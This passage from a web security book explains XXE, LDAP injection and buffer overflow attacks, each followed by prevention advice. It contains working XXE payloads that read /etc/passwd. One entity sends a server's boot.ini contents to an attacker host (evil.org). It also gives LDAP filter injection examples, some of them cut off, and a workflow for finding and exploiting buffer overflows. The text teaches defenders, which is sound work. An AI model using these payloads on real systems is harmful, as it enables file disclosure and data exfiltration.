This is a continuation of a chapter excerpt from Hacking Exposed: Web 2.0 about common injection attacks. So far,...
you've learned how injection attacks work, the mechanics of SQL attacks and even about XML, command and directory traversal injections. In this section, you'll learn about even more injection attacks -- XXE, LDAP and buffer overflows.
XXE (XML eXternal Entity) Attacks
Risk Rating: 8
Like directory traversal attacks, XML external entity attacks allow the attacker to read arbitrary files on the server from SSL private keys to password files.
A little known "feature" of XML is external entities, whereby developers can define their own XML entities. For example, this sample XML-based Really Simple Syndication (RSS) document defines the &author; entity and uses it throughout the page:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY author "Fluffy Bunny">
You can also define entities that read system files. For example, when an XML parser reads the following RSS document, the parser will replace &passwd; or &passwd2; with /etc/passwd:
<?xml version="1.0" encoding="ISO-8859-1"? >
<!DOCTYPE foo [
<!ENTITY passwd SYSTEM "file:/etc/passwd" >
<!ENTITY passwd2 SYSTEM "file:///etc/passwd" >
<rss version="2.0" >
<title >My attack RSS feed showing /etc/passwd </title >
<description >this is file:/etc/passwd: &passwd; and this is
ile:///etc/passwd: &passwd; </description >
<title >/etc/passwd </title >
<description >file:/etc/passwd: &passwd; file:///etc/passwd: passwd; </description >
<link >http://example.com </link >
To exploit this attack, the attacker simply places this RSS file on his or her web site and adds this attack RSS feed to some online RSS aggregator. If the RSS aggregator is vulnerable, the attacker will see the contents of /etc/passwd on the vulnerable aggregator while viewing the attack RSS feed.
By simply uploading an XML file, the XML file can even send the files back to the attacker. This is great for attacking backend systems where the attacker will never see the output of the XML file. Create one entity to load up a sensitive file on the server (say c:boot.ini) and create another entity loading an URL to the attacker's site with the former entity within the request, as so:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE doc [
<!ENTITY bootini SYSTEM "file:///C:/boot.ini ">
<!ENTITY sendbootini SYSTEM "http://evil.org/getBootIni?&bootini;">
Obviously, this attack can lead to arbitrary file disclosure on the vulnerable web server. It is not limited to RSS feeds. This attack can be mounted on all web applications that accept XML documents and parse the document.
It's amazing how many web applications integrate RSS feeds as an add-on feature. These applications tend to add this feature as an afterthought and are vulnerable to this attack.
Preventing XXE Attacks
To protect against XXE attacks, simply instruct the XML parser you use to prohibit external entities. Prohibiting external entities varies depending on the XML parser used. For example, JAXP and Xerces do not resolve entities by default, while developers must explicitly turn off entity expansion in LibXML using expand_entities(0);.
Risk Rating: 5
Generally, LDAP injection attacks allow users within a corporation to gain private information. This attack is usually not possible via the Internet.
Lightweight Directory Access Protocol (LDAP) is a protocol for managing and storing network resources and network users. This includes authorizing users to access computers and other resources. Some web applications use "unsanitized" user input to perform LDAP queries.
Consider a web application that takes a username as input and performs an LDAP query to display the user's common name (cn) and phone number. For example, this request
cn: Richard CanningstelephoneNumber: 403-555-1212
The LDAP statement to perform this query is simply this:
filter = (uid=rgc)
attributes = cn, telephoneNumber
However, you can construct more elaborate filters by using Boolean operations such as OR (|) and AND (&) with various attributes such as cn, dn, sn, objectClass, telephoneNumber, manager, and so on. LDAP queries use Polish notation (also known as prefix notation), where the operators appear to the left of the operands. Furthermore, LDAP accepts the wildcard symbol (*). A more elaborate LDAP query could be something like this:
filter = (&(objectClass=person)(cn=Rich*)(|(telephoneNumber=403*)(
This query finds people whose common name starts with Rich and phone number in either the 403 or 415 area code. To inject arbitrary LDAP queries into a vulnerable web application, you must construct a different, yet valid, LDAP query. If this HTTP request,
created this filter,
then you must create a valid LDAP filter that begins with (uid = and ends with). For example, to perform a reverse phone number lookup (that is, find the name of a person associated with a phone number), you could make this request:
This creates the query
Another interesting query is to find all the possible objectClasses. This can be performed like so:
This creates the query
Preventing LDAP Injection
Protecting against LDAP injection is as simple as whitelisting characters—that is, allow alphanumeric characters (a–z, A–Z, and 0–9) and deny all other characters.
Risk Rating: 9
Buffer overflows are one of the more complex injection attacks, as they take advantage of developers misusing memory. Like command injection, a successful buffer overflow attack gives the attacker complete control of the remote machine.
Some programming languages, such as C and C++, place memory management responsibilities on the developer. If the developer is not careful, user input could write to memory that was not intended to be written to. One such memory location is called the return address of a stack. The return address holds the memory address of the next machine instruction block to execute. If an application is vulnerable to buffer overflows, an attacker could send a very long string to the web application—longer than the developer expected. The string could potentially overwrite the return address, telling the web application what machine instructions it should execute next. The injection aspect of buffer overflows is that the attacker injects machine instructions (called shell code) into some user input. The attacker somewhat needs to know where the shell code will end up in the memory of the computer running the web application. Then the attacker overwrites the return address to point to the memory location of the shell code.
Exploiting buffer overflows are nontrivial, but finding them is not as difficult, and finding buffer overflows on a local machine is easy. You need only send very long strings in all user inputs. We suggest inputting predictable strings, such as 10,000 capital As, into each input. If the program crashes, it is most likely due to a buffer overflow. Repeat the crash while running the application in a debugger. When the program crashes, investigate the program registers. If you see 41414141 (41 is the ASCII representation of a capital A) in the SP register, you have found a buffer overflow.
Finding buffer overflows on remote machines, such as a web application, is a lot more difficult, because attackers cannot view the contents of the web application's registers, and it may even be difficult to recognize that the web application has even crashed. The trick to finding buffer overflows on web applications is to do the following:
- Identify what publicly available libraries or code the web application is running.
- Download that code.
- Test that code on your local machine to find a buffer overflow.
- Develop exploit code that works on your local machine.
- Attempt to execute the exploit code on the web application.
Preventing Buffer Overflows
The easiest step is to avoid developing frontend web applications with C and C++. The speed increase is nominal compared to delays in Internet communication. If you must use code written in C or C++, minimize the amount of code used and perform sanity checks on user input before sending it onto the C or C++ derived code.
If you can't avoid programming in C or C++, you can take basic steps to prevent some buffer overflows, such as compiling your code with stack protection. You can, for example, use the /GS flag when compiling C and C++ code in Visual Studio, and use –fstack-protector in SSP (also known as ProPolice)-enabled versions of gcc.